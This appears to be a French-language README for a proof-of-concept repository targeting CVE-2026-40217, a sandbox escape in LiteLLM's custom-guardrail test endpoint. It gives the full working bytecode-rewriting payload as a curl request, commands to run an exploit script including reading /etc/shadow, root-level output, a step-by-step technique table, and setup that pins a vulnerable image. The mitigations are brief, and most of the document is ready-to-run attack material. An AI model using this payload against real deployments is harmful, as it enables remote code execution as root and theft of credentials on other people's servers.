
Le code pour reproduire personnellement la vulnérabilité correspondante
LiteLLM
POST /guardrails/test_custom_code— Évasion de la sandbox menant à une exécution de code à distance (RCE) en tant que root dans le déploiement Docker par défaut.
| Champ | Valeur |
|---|---|
| CVE | CVE-2026-40217 |
| CVSS | 8.8 (HIGH) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-913 (Contrôle inapproprié des ressources de code gérées dynamiquement) / CWE-94 |
| Affecte | LiteLLM ≤ 2026-04-08 (avant v1.83.11) |
| Corrigé dans | v1.83.11+ (remplacement de la sandbox artisanale par RestrictedPython) |
| Découvreur | Markus Vervier — X41 D-Sec GmbH |
| Publié | 2026-04-08 |
| Liens | Avis X41 • GHSA-wxxx-gvqv-xp7p • oss-security |
Le point de terminaison POST /guardrails/test_custom_code de LiteLLM permet aux utilisateurs authentifiés de soumettre du code Python arbitraire pour tester le guardrail. Ce point de terminaison tente de restreindre les opérations dangereuses à l'aide d'un filtrage du code source basé sur des expressions régulières, mais cette protection peut être entièrement contournée grâce à des techniques de réécriture du bytecode CPython, conduisant à une exécution de code arbitraire dans le processus du proxy. Dans l'image Docker par défaut, le proxy s'exécute en tant que root, ce qui aggrave l'impact.
# Install Python dependencies (required by exploit.py)
pip install -r requirements.txt
⚠️ Important : le fichier
docker-compose.ymlfige l'image vulnérable à un digest spécifique (sha256:7c311546...) datant du 22 mars 2026. Ne pas modifier le tag versmain-latestni vers une version plus récente — les images ultérieures peuvent déjà contenir le correctif (RestrictedPython) même si le numéro de version suggère le contraire (par exemple,v1.83.10-stablea été reconstruite après le correctif et n'est pas vulnérable).
# 1. Install dependencies (if not already done)
pip install -r requirements.txt
# 2. Start a vulnerable LiteLLM instance
docker compose up -d
# 3. Run the exploit
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key"
# 4. Read sensitive files (change the --cmd argument)
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key" \
--cmd "cat /etc/shadow"
# Or using curl directly
curl -s -X POST \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
http://localhost:4000/guardrails/test_custom_code \
-d '{
"custom_code": "def apply_guardrail(inputs, request_data, input_type):\n obj = str.mro()[1]\n def g(fn):\n yield fn.placeholder\n c = g(None).gi_code\n gn = \"_\"+\"_gl\"+\"ob\"+\"als\"+\"_\"+\"_\"\n cn = \"_\"+\"_co\"+\"de_\"+\"_\"\n obj.__setattr__(g, cn, c.replace(co_names=(gn,)))\n for v in g(http_get):\n gd = v\n break\n bn = \"_\"+\"_bu\"+\"ilt\"+\"ins\"+\"_\"+\"_\"\n imp = gd[bn][\"_\"+\"_im\"+\"po\"+\"rt_\"+\"_\"]\n return {\"rce\": imp(\"os\").popen(\"id\").read()}",
"test_input": {"messages": [{"role": "user", "content": "test"}]}
}'
{"success":true,"result":{"rce":"uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\n"},"error":null,"error_type":null}
CVE-2026-40217/
├── README.md # This file
├── docker-compose.yml # One-command vulnerable environment
├── requirements.txt # Dependencies
├── exploit/
│ ├── exploit.py # Full exploit script
│ └── payload.py # Bytecode payload module
├── docs/
│ └── advisory.md # Translated advisory details
└── screenshots/ # Proof screenshots
RestrictedPython au lieu de la sandbox artisanale)/guardrails/test_custom_code au niveau de votre proxy inverse / passerelle APIdocker run --user 1000:1000 ...Avertissement : ce contenu est fourni uniquement à des fins éducatives et pour des tests de sécurité autorisés.
| Étape | Technique | Code |
|---|
| 1 | Contournement des regex par concaténation de chaînes | "_"+"_gl"+"ob"+"als"+"_"+"_" |
| 2 | Obtenir la classe object via str.mro()[1] | obj = str.mro()[1] |
| 3 | Accéder à l'objet code du générateur via gi_code | c = g(None).gi_code |
| 4 | Remplacer le __code__ de la fonction via object.__setattr__ | obj.__setattr__(g, cn, c.replace(co_names=(gn,))) |
| 5 | Extraire les vraies builtins de http_get.__globals__ | imp = gd["__builtins__"]["__import__"] |
| 6 | Obtenir une RCE via os.popen | imp("os").popen("id").read() |